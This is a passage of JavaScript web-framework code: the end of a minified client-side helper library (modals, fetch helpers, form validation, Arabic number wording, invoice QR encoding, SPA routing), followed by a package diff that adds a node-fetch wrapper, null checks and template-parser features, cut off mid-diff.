e=`*${t.location.hostname}*`,n=!1;SOCIALBROWSER.var.white_list.forEach(t=>{t.url==e&&(n=!0)}),n||(SOCIALBROWSER.var.white_list.push({url:e}),SOCIALBROWSER.call("set_var",{name:"white_list",data:SOCIALBROWSER.var.white_list}))}SOCIALBROWSER.var.blocking=SOCIALBROWSER.var.blocking||{},SOCIALBROWSER.var.blocking.block_ads=!1,SOCIALBROWSER.var.blocking.block_empty_iframe=!1,SOCIALBROWSER.var.blocking.remove_external_iframe=!1,SOCIALBROWSER.var.blocking.skip_video_ads=!1,SOCIALBROWSER.var.blocking.popup=SOCIALBROWSER.var.blocking.popup||{},SOCIALBROWSER.var.blocking.popup.allow_external=!0,SOCIALBROWSER.var.blocking.popup.allow_internal=!0,SOCIALBROWSER.var.blocking.javascript=SOCIALBROWSER.var.blocking.javascript||{},SOCIALBROWSER.var.blocking.javascript.block_window_open=!1,SOCIALBROWSER.var.blocking.javascript.block_eval=!1,SOCIALBROWSER.var.blocking.javascript.block_console_output=!1}let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(t){r(t).click(()=>{r("popup").hide()}),d.modal_z_index++;let n=d.$(t);if(0===n.length)return;n[0].style.zIndex=d.modal_z_index,n[0].style.display="block";let o=n[0].getAttribute("fixed");""!==o&&n[0].addEventListener("click",function(){d.hideModal(t)});let a=d.$(t+" i-control input");a.length>0&&a[0].focus(),d.$(t+" .close").forEach(e=>{e.addEventListener("click",function(){d.hideModal(t)})}),d.$(t+" .modal-header").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-body").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-footer").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(t){if("string"!=typeof t)return t;if(t=t.trim(),t.like("http*")||0===t.indexOf("//")||0===t.indexOf("data:"))t=t;else if(0===t.indexOf("/"))t=e.location.origin+t;else if(t.split("?")[0].split(".").length<3){let n=e.location.pathname.split("/").pop();t=e.location.origin+e.location.pathname.replace(n,"")+t}return t},d.postData=function(n,r,o){r=r||function(){},o=o||function(){},"string"==typeof n&&(n={url:n}),n.data=n.data||n.body,delete n.body,n.data&&"object"==typeof n.data&&(n.data=JSON.stringify(n.data)),n.headers=n.headers||{Accept:"application/json","Content-Type":"application/json"},n.data&&"string"==typeof n.data&&(n.headers["Content-Length"]=n.data.length.toString());try{n.headers.Cookie=t.cookie}catch(o){console.log(o)}n.method="post",n.redirect="follow",n.mode="cors",n.url=d.handle_url(n.url),e.SOCIALBROWSER&&e.SOCIALBROWSER.fetchJson?SOCIALBROWSER.fetchJson(n,e=>{r(e)}):fetch(n.url,{mode:n.mode,method:n.method,headers:n.headers,body:n.data,redirect:n.redirect}).then(e=>e.json()).then(e=>{r(e)}).catch(e=>{o(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.parse(e))},d.show=d.showObject=function(e){return e?JSON.parse(d.from123(e)):{}},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){n=n||e;let r=t;e&&e.target&&e.target.parentNode&&e.target.parentNode.parentNode&&(r=e.target.parentNode.parentNode);let o=r.querySelector(n);if(o){let e=o.parentNode;if(e){let t=e.parentNode;t&&(t.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),t.querySelectorAll(".tab-link").forEach(e=>{e.getAttribute("onclick")&&e.getAttribute("onclick").contains(n+"'")?e.classList.add("active"):e.classList.remove("active")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}))}}},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?("I-DATETIME"!==e.nodeName||e.getAttribute("value"))&&("I-DATE"!==e.nodeName||e.getAttribute("value"))?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName&&"I-DATE"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let g=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=a(n,t):2==n.length?o=i(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=a(r,t)+d.strings.from10[t]:2==r.length?f=i(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});var r=new WebSocket(t.url);let e={ws:r,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},send:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};r.onerror=function(t){e.onError(t)},r.onclose=function(t){e.closed=!0,e.onClose(t)},r.onopen=function(){e.closed=!1,e.onOpen()},r.onmessage=function(t){t instanceof Blob?e.onData(t):e.onMessage(JSON.parse(t.data))},n(e)}else console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.text,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},d.export=function(e,n="xlsx"){var r="string"==typeof e?t.querySelector(e):e,o=XLSX.utils.table_to_book(r,{sheet:"sheet1"});XLSX.write(o,{bookType:n,bookSST:!0,type:"base64"}),XLSX.writeFile(o,(r.id||r.tagName)+"."+n)},d.isSPA=!1,d.routeContainer="[router]",d.routeList=[],d.getRoute=(e=>d.routeList.find(t=>t.name==e)||{name:e,url:e}),d.route=(e=>{e.preventDefault(),d.setRoute(d.getRoute(e.target.href))}),d.setRoute=function(t){"string"==typeof t&&(t=d.getRoute(t)),e.history.pushState({},"",t.name)},d.getRouteContent=(async e=>("string"==typeof e&&(e=d.getRoute(e)),await fetch(e.url).then(e=>e.text()))),d.showRouteContent=function(e,n){"string"==typeof n&&(n=d.getRoute(n)),d.setRoute(n.name),d.getRouteContent(n.url).then(n=>{t.querySelector(e).innerHTML=n})},t.addEventListener("click",e=>{if(d.isSPA&&e.target.hasAttribute("route")){e.preventDefault();let t=e.target.getAttribute("route")||e.target.getAttribute("href");d.showRouteContent(d.routeContainer,t)}}),e.addEventListener("hashchange",t=>{if(!d.isSPA)return;let n=e.location.hash.replace("#","");n||(n="/"),d.showRouteContent(d.routeContainer,n)}),t.querySelector("html").hasAttribute("spa")&&(d.isSPA=!0),e.site=d})(window,document,"undefined",jQuery);
|
package/index.js
CHANGED
|
@@ -25,7 +25,25 @@ module.exports = function init(options) {
|
|
|
25
25
|
____0.formidable = require('formidable');
|
|
26
26
|
____0.mv = require('mv');
|
|
27
27
|
____0.utf8 = require('utf8');
|
|
28
|
-
____0.
|
|
28
|
+
____0.fetchAsync = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
|
|
29
|
+
____0.request =
|
|
30
|
+
____0.fetch =
|
|
31
|
+
____0.x0ftox =
|
|
32
|
+
function (...args) {
|
|
33
|
+
args[1] = args[1] || {};
|
|
34
|
+
args[1].agent = function (_parsedURL) {
|
|
35
|
+
if (_parsedURL.protocol == 'http:') {
|
|
36
|
+
return new ____0.http.Agent({
|
|
37
|
+
keepAlive: true,
|
|
38
|
+
});
|
|
39
|
+
} else {
|
|
40
|
+
return new ____0.https.Agent({
|
|
41
|
+
keepAlive: true,
|
|
42
|
+
});
|
|
43
|
+
}
|
|
44
|
+
};
|
|
45
|
+
return ____0.fetchAsync(...args);
|
|
46
|
+
};
|
|
29
47
|
____0.$ = ____0.cheerio = require('cheerio');
|
|
30
48
|
____0.md5 = ____0.hash = ____0.x0md50x = require('md5');
|
|
31
49
|
____0.nodemailer = require('nodemailer');
|
|
@@ -195,7 +213,6 @@ module.exports = function init(options) {
|
|
|
195
213
|
require('./lib/vars.js')(____0);
|
|
196
214
|
|
|
197
215
|
//DataBase Management Oprations
|
|
198
|
-
|
|
199
216
|
|
|
200
217
|
if (____0.options.mongodb.enabled) {
|
|
201
218
|
____0.mongodb = require('./lib/mongodb.js')(____0);
|
package/lib/app.js
CHANGED
|
@@ -74,7 +74,7 @@ module.exports = function init(____0) {
|
|
|
74
74
|
callback(err, result);
|
|
75
75
|
}
|
|
76
76
|
if (app.allowMemory && !err && result) {
|
|
77
|
-
let index = app.memoryList.findIndex((itm) => itm.id === result.doc.id);
|
|
77
|
+
let index = app.memoryList.findIndex((itm) => itm && itm.id === result.doc.id);
|
|
78
78
|
if (index !== -1) {
|
|
79
79
|
app.memoryList[index] = result.doc;
|
|
80
80
|
} else {
|
|
@@ -156,7 +156,6 @@ module.exports = function init(____0) {
|
|
|
156
156
|
callback({
|
|
157
157
|
data: {
|
|
158
158
|
appName: req.word(app.title),
|
|
159
|
-
setting: ____0.setting,
|
|
160
159
|
},
|
|
161
160
|
});
|
|
162
161
|
}
|
|
@@ -212,7 +211,7 @@ module.exports = function init(____0) {
|
|
|
212
211
|
},
|
|
213
212
|
(req, res) => {
|
|
214
213
|
app.handleRequest(req, res, (handle) => {
|
|
215
|
-
res.render(app.page, handle.data, { parser: 'html', compres: true });
|
|
214
|
+
res.render(app.page, handle.data, handle.options || { parser: 'html', compres: true });
|
|
216
215
|
});
|
|
217
216
|
}
|
|
218
217
|
);
|
|
@@ -258,7 +257,7 @@ module.exports = function init(____0) {
|
|
|
258
257
|
app.update(_data, (err, result) => {
|
|
259
258
|
if (!err) {
|
|
260
259
|
response.done = true;
|
|
261
|
-
response.
|
|
260
|
+
response.doc = result?.doc;
|
|
262
261
|
} else {
|
|
263
262
|
response.error = err.message;
|
|
264
263
|
}
|
package/lib/collection.js
CHANGED
|
@@ -462,7 +462,7 @@ module.exports = function init(____0, option, db) {
|
|
|
462
462
|
options.where._id = $collection.ObjectID(options.where._id);
|
|
463
463
|
}
|
|
464
464
|
|
|
465
|
-
if (options.where && options.where.id) {
|
|
465
|
+
if (options.where && options.where.id && typeof options.where.id == 'string') {
|
|
466
466
|
options.where.id = ____0.toInt(options.where.id);
|
|
467
467
|
}
|
|
468
468
|
|
package/lib/mongodb.js
CHANGED
|
@@ -392,7 +392,7 @@ module.exports = function init(____0) {
|
|
|
392
392
|
let options = {
|
|
393
393
|
projection: obj.select || {},
|
|
394
394
|
limit: obj.limit ? parseInt(obj.limit) : ____0.options.mongodb.limit,
|
|
395
|
-
skip: obj.skip
|
|
395
|
+
skip: obj.skip ? parseInt(obj.skip) : 0,
|
|
396
396
|
sort: obj.sort || null,
|
|
397
397
|
};
|
|
398
398
|
|
|
@@ -546,9 +546,10 @@ module.exports = function init(____0) {
|
|
|
546
546
|
callback(
|
|
547
547
|
null,
|
|
548
548
|
{
|
|
549
|
-
|
|
550
|
-
|
|
551
|
-
|
|
549
|
+
result: result,
|
|
550
|
+
exists: result.result?.n,
|
|
551
|
+
count: result.result?.nModified,
|
|
552
|
+
ok: result.result?.ok,
|
|
552
553
|
where: obj.where,
|
|
553
554
|
update: $update,
|
|
554
555
|
},
|
package/lib/parser.js
CHANGED
|
@@ -135,7 +135,8 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
135
135
|
} else {
|
|
136
136
|
if (typeof out === 'object') {
|
|
137
137
|
out = ____0.toJson(out);
|
|
138
|
-
}
|
|
138
|
+
}
|
|
139
|
+
if (typeof out === 'undefined') {
|
|
139
140
|
out = '';
|
|
140
141
|
}
|
|
141
142
|
}
|
|
@@ -377,6 +378,9 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
377
378
|
if (list && property.length > 1) {
|
|
378
379
|
list = list[property[1]];
|
|
379
380
|
}
|
|
381
|
+
if (list && property.length > 2) {
|
|
382
|
+
list = list[property[2]];
|
|
383
|
+
}
|
|
380
384
|
if (Array.isArray(list)) {
|
|
381
385
|
let matches = $.html(el).match(/##item1.*?##/g);
|
|
382
386
|
list.forEach((item, i) => {
|
|
@@ -387,7 +391,11 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
387
391
|
let p = matches[i].replace('##item1.', '').replace('##', '').split('.');
|
|
388
392
|
let v = null;
|
|
389
393
|
if (p.length > 0) {
|
|
390
|
-
|
|
394
|
+
if (p[0] == '*' || !p[0]) {
|
|
395
|
+
v = item;
|
|
396
|
+
} else {
|
|
397
|
+
v = item[p[0]];
|
|
398
|
+
}
|
|
391
399
|
}
|
|
392
400
|
if (p.length > 1 && v) {
|
|
393
401
|
v = v[p[1]];
|
|
@@ -430,6 +438,8 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
430
438
|
}
|
|
431
439
|
if (out !== true) {
|
|
432
440
|
$(this).remove();
|
|
441
|
+
} else {
|
|
442
|
+
$(this).removeAttr('x-show-item1');
|
|
433
443
|
}
|
|
434
444
|
});
|
|
435
445
|
$2('[x-list2]').each(function (i2, elem2) {
|
|
@@ -439,6 +449,7 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
439
449
|
html2 += $2.html();
|
|
440
450
|
});
|
|
441
451
|
}
|
|
452
|
+
|
|
442
453
|
return html2;
|
|
443
454
|
}
|
|
444
455
|
|
|
@@ -467,7 +478,7 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
467
478
|
let p = matches[i].replace('##item2.', '').replace('##', '').split('.');
|
|
468
479
|
let v = null;
|
|
469
480
|
if (p.length > 0) {
|
|
470
|
-
if (p[0] == '*') {
|
|
481
|
+
if (p[0] == '*' || !p[0]) {
|
|
471
482
|
v = item;
|
|
472
483
|
} else {
|
|
473
484
|
v = item[p[0]];
|
|
@@ -482,7 +493,42 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
482
493
|
_html = _html.replace(matches[i], v || '');
|
|
483
494
|
}
|
|
484
495
|
}
|
|
485
|
-
|
|
496
|
+
let $2 = ____0.$.load(_html);
|
|
497
|
+
$2('[x-show-item2]').each(function (i, elem) {
|
|
498
|
+
let property = $(elem).attr('x-show-item2').split('.');
|
|
499
|
+
let out = null;
|
|
500
|
+
if (property.length > 0) {
|
|
501
|
+
if (property.length > 0) {
|
|
502
|
+
out = item[property[0]];
|
|
503
|
+
}
|
|
504
|
+
|
|
505
|
+
if (property.length > 1 && out) {
|
|
506
|
+
out = out[property[1]];
|
|
507
|
+
}
|
|
508
|
+
|
|
509
|
+
if (property.length > 2 && out) {
|
|
510
|
+
out = out[property[2]];
|
|
511
|
+
}
|
|
512
|
+
|
|
513
|
+
if (property.length > 3 && out) {
|
|
514
|
+
out = out[property[3]];
|
|
515
|
+
}
|
|
516
|
+
|
|
517
|
+
if (property.length > 4 && out) {
|
|
518
|
+
out = out[property[4]];
|
|
519
|
+
}
|
|
520
|
+
|
|
521
|
+
if (property.length > 5 && out) {
|
|
522
|
+
out = out[property[5]];
|
|
523
|
+
}
|
|
524
|
+
}
|
|
525
|
+
if (out !== true) {
|
|
526
|
+
$(this).remove();
|
|
527
|
+
} else {
|
|
528
|
+
$(this).removeAttr('x-show-item2');
|
|
529
|
+
}
|
|
530
|
+
});
|
|
531
|
+
html2 += $2.html();
|
|
486
532
|
});
|
|
487
533
|
}
|
|
488
534
|
return html2;
|
|
@@ -490,8 +536,46 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
490
536
|
|
|
491
537
|
function renderHtml($, log) {
|
|
492
538
|
$('[x-setting]').each(function (i, elem) {
|
|
493
|
-
|
|
539
|
+
let property = $(elem).attr('x-setting').split('.');
|
|
540
|
+
let out = null;
|
|
541
|
+
if (property.length > 0) {
|
|
542
|
+
if (property.length > 0) {
|
|
543
|
+
out = ____0.setting[property[0]];
|
|
544
|
+
}
|
|
545
|
+
|
|
546
|
+
if (property.length > 1 && out) {
|
|
547
|
+
if (out) {
|
|
548
|
+
out = out[property[1]];
|
|
549
|
+
} else {
|
|
550
|
+
out = null;
|
|
551
|
+
}
|
|
552
|
+
}
|
|
553
|
+
if (property.length > 2 && out) {
|
|
554
|
+
if (out) {
|
|
555
|
+
out = out[property[2]];
|
|
556
|
+
} else {
|
|
557
|
+
out = null;
|
|
558
|
+
}
|
|
559
|
+
}
|
|
560
|
+
if (property.length > 3 && out) {
|
|
561
|
+
if (out) {
|
|
562
|
+
out = out[property[3]];
|
|
563
|
+
} else {
|
|
564
|
+
out = null;
|
|
565
|
+
}
|
|
566
|
+
}
|
|
567
|
+
if (property.length > 4 && out) {
|
|
568
|
+
if (out) {
|
|
569
|
+
out = out[property[4]];
|
|
570
|
+
} else {
|
|
571
|
+
out = null;
|
|
572
|
+
}
|
|
573
|
+
}
|
|
574
|
+
}
|
|
575
|
+
if (!out) {
|
|
494
576
|
$(this).remove();
|
|
577
|
+
} else {
|
|
578
|
+
$(this).removeAttr('x-setting');
|
|
495
579
|
}
|
|
496
580
|
});
|
|
497
581
|
|
|
@@ -504,57 +588,78 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
504
588
|
}
|
|
505
589
|
|
|
506
590
|
if (property.length > 1 && out) {
|
|
507
|
-
out
|
|
591
|
+
if (out) {
|
|
592
|
+
out = out[property[1]];
|
|
593
|
+
} else {
|
|
594
|
+
out = null;
|
|
595
|
+
}
|
|
508
596
|
}
|
|
509
|
-
|
|
510
597
|
if (property.length > 2 && out) {
|
|
511
|
-
out
|
|
598
|
+
if (out) {
|
|
599
|
+
out = out[property[2]];
|
|
600
|
+
} else {
|
|
601
|
+
out = null;
|
|
602
|
+
}
|
|
512
603
|
}
|
|
513
|
-
|
|
514
604
|
if (property.length > 3 && out) {
|
|
515
|
-
out
|
|
605
|
+
if (out) {
|
